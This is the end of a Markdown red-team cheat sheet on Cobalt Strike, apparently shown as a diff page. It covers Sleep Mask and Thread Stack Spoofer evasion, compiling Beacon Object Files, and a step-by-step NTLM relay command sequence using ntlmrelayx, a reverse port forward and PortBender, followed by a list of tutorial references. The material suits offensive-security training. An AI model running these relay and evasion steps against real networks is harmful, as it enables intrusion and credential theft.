Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
|
||||||
|
|
||||||
|
### Thread Stack Spoofer
|
||||||
|
|
||||||
|
> An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
|
||||||
|
|
||||||
|
Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`.
|
||||||
|
|
||||||
|
## Beacon Object Files
|
||||||
|
|
||||||
|
> A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs
|
||||||
|
|
||||||
|
Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h
|
||||||
|
|
||||||
|
* Compile
|
||||||
|
```ps1
|
||||||
|
# To compile this with Visual Studio:
|
||||||
|
cl.exe /c /GS- hello.c /Fohello.o
|
||||||
|
|
||||||
|
# To compile this with x86 MinGW:
|
||||||
|
i686-w64-mingw32-gcc -c hello.c -o hello.o
|
||||||
|
|
||||||
|
# To compile this with x64 MinGW:
|
||||||
|
x86_64-w64-mingw32-gcc -c hello.c -o hello.o
|
||||||
|
```
|
||||||
|
* Execute: `inline-execute /path/to/hello.o`
|
||||||
|
|
||||||
|
## NTLM Relaying via Cobalt Strike
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
beacon> socks 1080
|
||||||
|
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
|
||||||
|
beacon> rportfwd_local 8445 <IP_KALI> 445
|
||||||
|
beacon> upload C:\Tools\PortBender\WinDivert64.sys
|
||||||
|
beacon> PortBender redirect 445 8445
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
|
||||||
|
* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
|
||||||
|
* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
|
||||||
|
* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
|
||||||
|
* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
|
||||||
|
* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
|
||||||
|
* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
|
||||||
|
* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
|
||||||
|
* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
|
||||||
|
* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
|
||||||
|
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
|
||||||
|
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
|
||||||
|
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
|
||||||
|
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
|
||||||
|
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
|
||||||
|
* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
|
||||||
|
* [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf)
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user